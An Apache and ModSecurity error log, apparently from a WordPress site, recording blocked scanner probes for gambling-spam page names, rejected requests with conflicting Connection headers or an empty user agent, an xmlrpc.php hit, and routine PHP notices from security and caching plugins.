[Sat Mar 07 02:10:23.242639 2026] [:error] [pid 43422:tid 43450] [client 51.75.119.229:54230] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aasYj9tcIEfpHq9ndctBZgAAAUw"]
[Sat Mar 07 02:10:25.717686 2026] [:error] [pid 43422:tid 43458] [client 51.75.119.229:52740] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aasYkdtcIEfpHq9ndctBcQAAAVQ"]
[Sat Mar 07 02:10:28.196224 2026] [:error] [pid 49640:tid 49661] [client 51.75.119.229:52754] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aasYlGFdJasuHFpHkYa3MwAAAYk"]
[Sat Mar 07 02:10:30.939873 2026] [:error] [pid 49640:tid 49661] [client 51.75.119.229:52770] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aasYlmFdJasuHFpHkYa3PQAAAYk"]
[Sat Mar 07 02:10:33.374589 2026] [:error] [pid 49640:tid 49664] [client 51.75.119.229:52776] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aasYmWFdJasuHFpHkYa3QQAAAYw"]
[Sat Mar 07 02:10:35.878563 2026] [:error] [pid 7406:tid 7480] [client 51.75.119.229:39018] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aasYm3tbeE4NFKnz6vcBYgAAAMs"]
[Sat Mar 07 02:10:38.284366 2026] [:error] [pid 43422:tid 43457] [client 51.75.119.229:39020] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aasYnttcIEfpHq9ndctBlQAAAVM"]
[Sat Mar 07 02:10:40.818121 2026] [:error] [pid 6913:tid 7011] [client 51.75.119.229:39028] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aasYoOyYBOeAwrF78TIEdQAAABA"]
[Sat Mar 07 02:10:43.245229 2026] [:error] [pid 43422:tid 43449] [client 51.75.119.229:39036] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aasYo9tcIEfpHq9ndctBoQAAAUs"]
[Sat Mar 07 02:10:45.758076 2026] [:error] [pid 23731:tid 23767] [client 51.75.119.229:54966] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aasYpQ4rfe0eChfwTdSsVQAAARM"]
[Sat Mar 07 02:10:48.242837 2026] [:error] [pid 43422:tid 43440] [client 51.75.119.229:54982] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aasYqNtcIEfpHq9ndctBtwAAAUI"]
[Sat Mar 07 02:10:50.556690 2026] [:error] [pid 49640:tid 49664] [client 51.75.119.229:54994] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aasYqmFdJasuHFpHkYa3XAAAAYw"]
[Sat Mar 07 02:10:52.987937 2026] [:error] [pid 43422:tid 43443] [client 51.75.119.229:54998] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aasYrNtcIEfpHq9ndctB0gAAAUU"]
[Sat Mar 07 02:10:55.555784 2026] [:error] [pid 43422:tid 43443] [client 51.75.119.229:48338] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aasYr9tcIEfpHq9ndctB4AAAAUU"]
[Sat Mar 07 02:10:58.097233 2026] [:error] [pid 43422:tid 43440] [client 51.75.119.229:48346] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aasYsttcIEfpHq9ndctB7QAAAUI"]
[Sat Mar 07 02:11:00.383923 2026] [:error] [pid 6913:tid 7013] [client 51.75.119.229:48358] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aasYtOyYBOeAwrF78TIEgQAAABI"]
[Sat Mar 07 02:11:02.972465 2026] [:error] [pid 43422:tid 43444] [client 51.75.119.229:48374] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aasYtttcIEfpHq9ndctCCwAAAUY"]
[Sat Mar 07 02:11:05.585867 2026] [:error] [pid 49640:tid 49666] [client 51.75.119.229:38614] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aasYuWFdJasuHFpHkYa3eAAAAY4"]
[Sat Mar 07 02:11:08.283642 2026] [:error] [pid 49640:tid 49661] [client 51.75.119.229:38622] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aasYvGFdJasuHFpHkYa3gAAAAYk"]
[Sat Mar 07 02:11:10.595161 2026] [:error] [pid 49640:tid 49661] [client 51.75.119.229:38628] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aasYvmFdJasuHFpHkYa3jAAAAYk"]
[Sat Mar 07 04:49:30.320433 2026] [:error] [pid 4315:tid 4447] [client 43.165.135.242:37250] [client 43.165.135.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aas92tDEK9AXzxu9OSgduQAAAIA"]
[Sat Mar 07 07:16:36.766084 2026] [:error] [pid 4609:tid 4636] [client 144.172.115.113:52451] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aatgVOP7JMxUbw4Fd1ZRsgAAAMg"], referer: https://www.aliexpress.com
[Sat Mar 07 07:16:38.876787 2026] [:error] [pid 4311:tid 4436] [client 144.172.115.113:52970] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aatgVnbyS653WMGf2vX-9gAAAFE"], referer: https://www.sogou.com
[Sat Mar 07 07:16:41.688038 2026] [:error] [pid 4609:tid 4635] [client 144.172.115.113:53494] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aatgWeP7JMxUbw4Fd1ZRvQAAAMc"], referer: https://www.craigslist.org
[Sat Mar 07 07:16:43.889938 2026] [:error] [pid 4609:tid 4635] [client 144.172.115.113:54002] [client 144.172.115.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aatgW-P7JMxUbw4Fd1ZRyAAAAMc"], referer: https://www.reddit.com/r/news
[Sat Mar 07 07:24:50.416834 2026] [:error] [pid 4315:tid 4465] [client 216.73.216.51:1376] [client 216.73.216.51] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aatiQtDEK9AXzxu9OShIowAAAJE"]
[Sat Mar 07 09:41:03.388684 2026] [:error] [pid 52484:tid 52514] [client 217.182.195.126:50170] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aauCL_E9AnX6zUICFeSTkwAAAQs"]
[Sat Mar 07 09:41:06.929568 2026] [:error] [pid 4311:tid 4431] [client 217.182.195.126:34474] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aauCMnbyS653WMGf2vUaYwAAAEw"]
[Sat Mar 07 09:41:09.705268 2026] [:error] [pid 4315:tid 4455] [client 217.182.195.126:34476] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aauCNdDEK9AXzxu9OShyWgAAAIg"]
[Sat Mar 07 09:41:12.663141 2026] [:error] [pid 4315:tid 4461] [client 217.182.195.126:34492] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aauCONDEK9AXzxu9OShyXwAAAI4"]
[Sat Mar 07 09:41:16.410352 2026] [:error] [pid 4315:tid 4468] [client 217.182.195.126:56936] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aauCPNDEK9AXzxu9OShyZQAAAJM"]
[Sat Mar 07 09:41:19.386257 2026] [:error] [pid 4609:tid 4642] [client 217.182.195.126:56938] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aauCP-P7JMxUbw4Fd1aYowAAAM4"]
[Sat Mar 07 09:41:22.937671 2026] [:error] [pid 52484:tid 52514] [client 217.182.195.126:56948] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aauCQvE9AnX6zUICFeSTtwAAAQs"]
[Sat Mar 07 09:41:25.981674 2026] [:error] [pid 4315:tid 4470] [client 217.182.195.126:43498] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aauCRdDEK9AXzxu9OShycQAAAJU"]
[Sat Mar 07 09:41:29.505978 2026] [:error] [pid 4311:tid 4439] [client 217.182.195.126:43506] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aauCSXbyS653WMGf2vUadwAAAFQ"]
[Sat Mar 07 09:41:32.989968 2026] [:error] [pid 52484:tid 52527] [client 217.182.195.126:43520] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aauCTPE9AnX6zUICFeSTxQAAARc"]
[Sat Mar 07 09:41:35.821717 2026] [:error] [pid 4609:tid 4652] [client 217.182.195.126:43524] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aauCT-P7JMxUbw4Fd1aYtwAAANg"]
[Sat Mar 07 09:41:40.077056 2026] [:error] [pid 52484:tid 52506] [client 217.182.195.126:50452] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aauCVPE9AnX6zUICFeST4wAAAQM"]
[Sat Mar 07 09:41:43.076049 2026] [:error] [pid 52484:tid 52512] [client 217.182.195.126:50456] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aauCV_E9AnX6zUICFeST9wAAAQk"]
[Sat Mar 07 09:41:45.894150 2026] [:error] [pid 52484:tid 52506] [client 217.182.195.126:50462] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aauCWfE9AnX6zUICFeSUAQAAAQM"]
[Sat Mar 07 09:41:49.756512 2026] [:error] [pid 4315:tid 4458] [client 217.182.195.126:32804] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aauCXdDEK9AXzxu9OShyiAAAAIs"]
[Sat Mar 07 09:41:52.523479 2026] [:error] [pid 52484:tid 52513] [client 217.182.195.126:32816] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aauCYPE9AnX6zUICFeSUFAAAAQo"]
[Sat Mar 07 09:41:55.799612 2026] [:error] [pid 4609:tid 4648] [client 217.182.195.126:43812] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aauCY-P7JMxUbw4Fd1aYyAAAANQ"]
[Sat Mar 07 09:41:58.708605 2026] [:error] [pid 4311:tid 4437] [client 217.182.195.126:43816] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aauCZnbyS653WMGf2vUahAAAAFI"]
[Sat Mar 07 12:34:50.423321 2026] [proxy_fcgi:error] [pid 4315:tid 4472] [client 103.4.122.14:42684] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/google-analytics-premium/assets/images/monsterinsights-badge-light.svg', 'www.w3.org', '', '\\Z.6\xcc') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWrite'
[Sat Mar 07 12:36:39.180503 2026] [proxy_fcgi:error] [pid 4307:tid 4405] [client 103.4.122.14:43496] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Mar 07 12:36:59.236106 2026] [proxy_fcgi:error] [pid 4315:tid 4461] [client 103.4.122.14:43662] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Mar 07 12:37:13.450493 2026] [proxy_fcgi:error] [pid 52484:tid 52521] [client 103.4.122.14:43830] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Mar 07 12:41:30.204007 2026] [:error] [pid 4315:tid 4456] [client 167.172.186.112:51170] [client 167.172.186.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.186.112, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aausetDEK9AXzxu9OSinkgAAAIk"]
[Sat Mar 07 12:59:14.094868 2026] [:error] [pid 4315:tid 4449] [client 51.77.217.11:47058] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aauwotDEK9AXzxu9OSirJAAAAII"]
[Sat Mar 07 12:59:16.516536 2026] [:error] [pid 4609:tid 4639] [client 51.77.217.11:42268] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aauwpOP7JMxUbw4Fd1bzzQAAAMs"]
